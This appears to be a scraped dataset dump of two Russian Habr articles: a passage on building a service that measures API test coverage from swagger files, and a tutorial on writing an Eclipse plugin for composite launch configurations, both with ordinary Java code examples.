После того как мы присвоили такие теги всем нашим автоматизированным сценариям, мы написали небольшой обработчик. Во время прохождения тестов он находил все подобные теги и затем записывал их в отдельный файл. Последний отправлялся в Coverage Manager, там обрабатывался, после чего отображались результаты покрытия.
В этой версии у нас был только фронт, написанный на react, то есть логика обработки файла с массивом тегов operationId и сам swagger проекта производились прямо на фронте.
Быстро стало очевидно, что подобный подход к подсчету покрытия **не отображает реальных показателей.** Представим: для метода есть пять сценариев, которые необходимо проверять тестами, а мы смотрим только один. В таком случае API по этому подходу будет считаться покрытым.
Хотелось решить эту проблему наравне с некоторыми другими. Но также была и другая сложность: помимо монолитной части бэкенда, на проекте стали появляться микросервисы. И покрытие API микросервисов в этом варианте никак не учитывалось.
Мы начали думать о том, как можем приблизиться к решению этих двух проблем.
API-покрытие. Версия 2
----------------------
После реализации первой версии менеджера по покрытию состоялась конференция Heisenbug, где был представлен [доклад](https://www.youtube.com/watch?v=N2k4LKPWuSw&embeds_euri=https%3A%2F%2Fembedd.srv.habr.com%2F&feature=emb_imp_woyt) Артема Ерошенко из Qameta Software.
*Это выступление и легло в основу написанного нами алгоритма по подсчету покрытия.*
Построено все на формировании и сравнении **swagger-документации**. Так, swagger — это документация, которая генерируется по конкретному сервису и содержит список запросов, их параметры и коды ответов. Удобно, что не нужно каждый раз вносить данные вручную или получать информацию от других людей: генерация происходит автоматически.
Так как мы могли получать такой сгенерированный файл со спецификацией по всем методам проекта, то реализовали генерацию спецификации API внутри фреймворка автотестов, а именно — java-библиотека swagger через фильтр встраивается в отправляемый запрос и позволяет получить всю необходимую информацию для описания API.
С помощью этого фильтра можно инспектировать и изменять запросы и ответы до их завершения. Функционал — это лишний шаг на этапе вызова метода в автотесте, где информация перехватывается, анализируется и обрабатывается. Таким образом, после прохождения автотестов мы получаем не просто набор тегов, как было в первой версии сервиса, а **полноценный swagger.json-файл**, построенный на основе наших автотестов.
**Пример фильтра:**
```
import behavior.action.swagger.SwaggerCoverage;
import io.restassured.filter.Filter;
import io.restassured.filter.FilterContext;
import io.restassured.response.Response;
import io.restassured.specification.FilterableRequestSpecification;
import io.restassured.specification.FilterableResponseSpecification;
public class RestAssuredFilter implements Filter {
@Override
public Response filter(FilterableRequestSpecification requestSpec,
FilterableResponseSpecification responseSpec,
FilterContext ctx) {
final Response response = ctx.next(requestSpec, responseSpec);
(new SwaggerCoverage()).addItem(requestSpec, response).save();
return response;
}
}
```
Ежедневно файл с данными по автотестам мапится со swagger-файлами сервисов, и результаты записываются в базу MongoDB. Последние обновляются автоматически по настроенному расписанию через сервер Jenkins.
Единицы подсчета
----------------
Перед дальнейшим описанием работы алгоритма Coverage Manager необходимо уточнить несколько понятий, используемых в контексте нашего сервиса: это такие единицы измерения, как фича и сценарий.
**Фича** представляет собой отдельно взятый API вместе с http-методом (таким как GET, POST и т. д.), и дальше дробится на сценарии.
**Сценарий** же, в свою очередь, состоит из уникального сочетания пути метода и кода ответа (например, 200, 400 и т. д.).
**Пример сценария:**
```
@test
Сценарий: Вызов первого тестового метода GET
Пусть пользователь планирует вызывать метод "/api/test/method/one"
И пользователь делает GET вызов
Тогда пользователь получает ответ с кодом "200"
```
На указанном примере представлен отдельный сценарий (путь запроса, http-метод и код ответа). Совокупность таковых с одинаковыми путями и http-методами мы и считаем **фичей**. Например, аналогичный автотест с ожидаемым кодом ответа 400 будет уже вторым **сценарием** в рамках одной фичи.
А если существует точно такой же автотест, но вместо GET-запроса будет отправляться DELETE-запрос, то это уже будет считаться отдельной фичей.
Визуализация
------------
После перехода на новый алгоритм подсчета покрытия объем обрабатываемой информации значительно увеличился. Было решено, что пришло время отказаться от обработки всей информации только на стороне фронта. Поэтому мы добавили в наш сервис **бэкенд-модуль**, написанный на express, а также **mongo-базу**, чтобы каждый раз не приходилось заново обрабатывать входной файл swagger автотестов, swagger проекта, а также спецификации всех микросервисов проекта.
*Все эти обработанные данные при первом вызове нашей API записываются в базу, и в дальнейшем основная работа ведется именно с базой данных.*
Расскажу немного подробнее, как это работает. Мы уже упоминали о ежедневном обновлении данных: оно выполняется с помощью вызова API Coverage Manager, в теле запроса которого передается swagger.json из репозитория автотестов. Внутри API также происходит получение swagger монолитной части и openapi-спецификаций всех микросервисов проекта. После этого в базу записываются новые фичи, если такие есть. Например, когда в swagger проекта появился новый API.
В ином случае изменяются уже существующие записи, например, когда сценарием был покрыт какой-то новый код ответа. Возможен и вариант удаления фичи из базы, скажем, если метода больше нет в swagger.
Здесь мы столкнулись с небольшой проблемой актуализации данных в файле swagger.json автотестов: удаление какого-либо сценария из репозитория автотестов возможно только через ручное редактирование файла. *Пока что решение для автоматизации этого кейса не нашли.*
**Основной экран мониторинга Cover Manager:**
На изображении выше — основная страница сервиса с графическим отображением информации о покрытии и сценариях.
Слева — график статистики прироста новых сценариев, которая разбита на стримы. (Деление на стримы в нашем случае — это дробление общего продукта на отдельные зоны, связанные между собой функционально. Например, личный кабинет, магазин и т. п.) Справа отображается общая цифра покрытия тестами по проекту в процентах и учет количества покрытых или непокрытых сценариев.
Основная часть экрана отведена под вывод фич и фильтра. С помощью фильтра можно посмотреть непокрытые сценарии определенного стрима. Каждая фича отображается с детализацией по коду ответа, то есть наглядно видно, какие сценарии той или иной фичи учтены в автотестах, а какие нет.
На отдельных страницах мы выводим статистику покрытия отдельно взятой команды.
Принадлежность фичи тому или иному стриму определяется во время обработки swagger-файла автотестов перед записью в базу данных. Маркеры стримов — теги автотестов, которым заполняется массив tags.
```
"/api/test/method/one": {
"get": {
"tags": [
"Команда 3",
"Команда 5"
],
"parameters": [],
"responses": {
"200": {
"description": ""
},
"400": {
"description": ""
},
"404": {
"description": ""
},
"503": {
"description": ""
}
}
}
}
```
Если тегов несколько, то в данные будет записан по умолчанию первый. Но есть возможность изменить значение этого параметра вручную через веб-интерфейс.
Доступ к этой вкладке есть у каждого члена команды. Это может быть удобно для планирования целей покрытия и понимания прогресса работы команды автотестирования. На нашем проекте каждый стрим закреплен за определенным автоматизатором, для которого он в основном и пишет автотесты. Этот раздел можно использовать как один из критериев оценки работы (если нужно выставить какие-либо личные цели по покрытию).
Аналогичный вывод информации доступен для каждого отдельно взятого сервиса.
*Это может быть актуально для проектов с микросервисной архитектурой.* Информация полезна как для автоматизатора, который после завершения всех текущих задач может увидеть статистику непокрытых микросервисов и взять в работу задачу по написанию автотестов для них, так и для любого члена команды. Например, мануального тестировщика, который сможет составить более оптимальный план регрессионного тестирования.
\*\*\*
Мы понимаем, что нынешний алгоритм подсчета покрытия все еще не эталонный и не отражает полной картины. Хотя по сравнению с нашей первой версией мы получаем более точные данные, все еще есть куда стремиться. Поэтому в дальнейшем мы планируем дорабатывать сервис.
Один из главных векторов развития для нас — **детализация текущего покрытия API.** А именно — дробление сценариев с учетом проверок query-параметров, заголовков и т. д.
Кроме того, уже разрабатывается **функционал мониторинга покрытия веб-тестами.** Мы планируем отображать статистику для таких сценариев аналогично в процентах и фичах, но в основе деления на сценарии будет лежать дерево функционала, где каждая конечная ветвь и будет конкретным сценарием.
Еще один важный для нашей команды функционал — **добавление истории покрытия.** Мы собираемся научить сервис фильтровать сценарии с учетом периода их добавления. Это может быть полезно при составлении статистики. Например, сколько сценариев было покрыто за текущий месяц, за предыдущий и т. д. В перспективе история изменения покрытия сможет показать, насколько эффективно (или наоборот) команда работает от месяца к месяцу. | https://habr.com/ru/post/707148/ | null | ru | null |
# Мой первый Eclipse-плагин
Приветствую, дорогие хаброчитатели!
Некоторое время назад мне выпала интересная задача – написать плагин для Eclipse. Причем плагин не простой, а с хитрой задумкой.
Опыта написания плагинов для Eclipse у меня никогда не было, но надо – так надо, а что из этого получилось – под хаброкатом.
Хитрая задумка формулировалась так(точная цитата):
«В Eclipse существует понятие launch-конфигураций – настроек запуска проектов из workspace'а. Эти launch-конфигурации имеют разные свойства в зависимости от типа запускаемых приложений (java-приложение, Eclipse plugins, JUnit-тесты).
Иногда возникает потребность запускать несколько приложений из одного workspace'а – например, мы пишем клиент-серверное приложение и хотим одновременно запускать и сервер, и клиента. Для таких целей было бы удобно иметь новый тип launch-конфигураций – composite, который бы позволял создавать новую конфигурацию, ссылающуюся на существующие. При этом при запуске этой композитной конфигурации должны запускаться все конфигурации, на которые она ссылается. Задание – реализовать eclipse-plugin('ы), добавляющие такую новую launch-конфигурацию.»
Итак, получив и поняв эту задачу, я начал с того, что делает любой нормальный человек при решении задачи – декомпозиция задачи.
**#### Крупная декомпозиция**
Ну по-большому счету мне надо: плагин-раз, как сделать launch-конфигурацию – два.
**#### Плагин**
Моей отправной точкой для разработки плагина были вот эти две статьи:
* <http://help.eclipse.org/luna/index.jsp?topic=%2Forg.eclipse.rse.doc.isv%2Fguide%2Ftutorial%2FpdeProject.html>
* <http://www.vogella.com/tutorials/EclipsePlugIn/article.html>
Прочитав статьи я скачал инструментарий, на котором буду ваять плагин.
Качал тут: <https://www.eclipse.org/downloads>.
Качать надо не что попало, а то, что содержит “Plug-in Development Environment”.
Скачали – запускаем.
Жмем File-> New-> Project-> Plugin project
В появившемся окошке(рисунок ниже) жмем Next
Появится окошко:
В нем вбиваем стандартные настройки и жмем Next.
Появится окошко:
Здесь тоже все весьма стандартно, НО необходимо обратить внимание на крыж “This plug-in will make contributions to the UI” – его убираем, если UI не нужен и наборот. Жмем Next.
Появится следующее окошко:
Тут можете выбрать шаблон плагина, а я просто отщелкнул крыж вверху и нажал Finish.
В результате проект плагина будет создан и появится на экране нечто подобное:
Здесь мы можем на вкладке Dependencies добавить различные зависимости плагина, а файл plugin.xml играет весьма важную роль в разработке плагина.
Итак, как сделать плагин мы разобрались.
Дальше нас интересуют launch-конфигурации и с чем их едят.
**#### Launch-конфигурация**
Итак, что за зверь launch-конфигурация? По-сути это просто конфигурация запуска программы.
То есть настройка параметров с которыми будет запущена программа.
Подробнее об этом можно почитать тут: <http://wiki.eclipse.org/FAQ_What_is_a_launch_configuration%3F>
Как сделать launch-конфигурацию описано тут: <http://www.eclipse.org/articles/Article-Launch-Framework/launch.html>
**#### Вернемся к задаче**
Итак, как лепить плагин и launch-конфигурацию стало понятно.
Начнем.
Мы сделаем два плагина:
* andrey.compositelaunchconfig – здесь будет собственно все что надо, для того чтобы запустить несколько launch-конфигураций. Но без UI. В статье приведенной выше, пишут, что лучше так разделить собственно логику и UI, вдруг кому-то захочется запустить как-то хитро это добро, и UI ему не нужен.
* andrey.compositelaunchconfig.ui – здесь будет собственно ui этого дела.
Прочитав то, что в ссылочках, приведенных выше, Кэп какбе намекает, что надо бы для реализации launch-конфигурации заимплементить интерфейс ILaunchConfigurationDelegate.
Не будем стесняться и заимплементим интерфейс:
```
public class CompositeLaunchConfigurationDelegate implements ILaunchConfigurationDelegate {
private void launchInnerConfiguration(ILaunchConfiguration configuration, String mode, ILaunch launch, IProgressMonitor monitor) throws CoreException {
ILaunch configurationLaunch = configuration.launch(mode,monitor);
for (IDebugTarget debugTarget : configurationLaunch.getDebugTargets()) {
launch.addDebugTarget(debugTarget);
}
for (IProcess process : configurationLaunch.getProcesses()) {
launch.addProcess(process);
}
}
@Override
public void launch(ILaunchConfiguration configuration, String mode, ILaunch launch, IProgressMonitor monitor) throws CoreException {
if(!Utils.isLaunchModeValid(mode))
throw new CoreException(new Status(IStatus.ERROR,Activator.getPluginId(),"launch mode is not valid"));
if(!Utils.isConfigurationValid(configuration))
throw new CoreException(new Status(IStatus.ERROR,Activator.getPluginId(),"configuration is not valid"));
try
{
List launchConfigurations = Utils.getInnerConfigurations(configuration);
SubMonitor launchMonitor = SubMonitor.convert(monitor, configuration.getName(), launchConfigurations.size());
for (ILaunchConfiguration launchConfiguration : launchConfigurations) {
if (!monitor.isCanceled()) {
launchInnerConfiguration(launchConfiguration,mode,launch,launchMonitor.newChild(1));
}
}
}
finally{
monitor.done();
}
}
}
```
Параллельно мы сделаем функциональность, которая будет позволять проверить, что композитная конфигурация не зациклилась(ато возьмет какой-нибудь злой дядя и сделать конфигурацию, которая будет ссылаться на саму себя, а так мы его – опа по руке:))
**#### Делаем UI**
C UI-ным плагином все достаточно просто.
1.Нам надо сделать закладку, которая будет содержать настройки.
Для этого нам можно унаследоваться от класса AbstractLaunchConfigurationTab.
2. Сделать группу закладок, для этого нам надо унаследоваться от класса AbstractLaunchConfigurationTabGroup.
Итого
В результате всех этих нехитрых манипуляция получилась вот такая штука:
Слева все доступные конфигурации, а справа те, которые будут запускаться. | https://habr.com/ru/post/243297/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.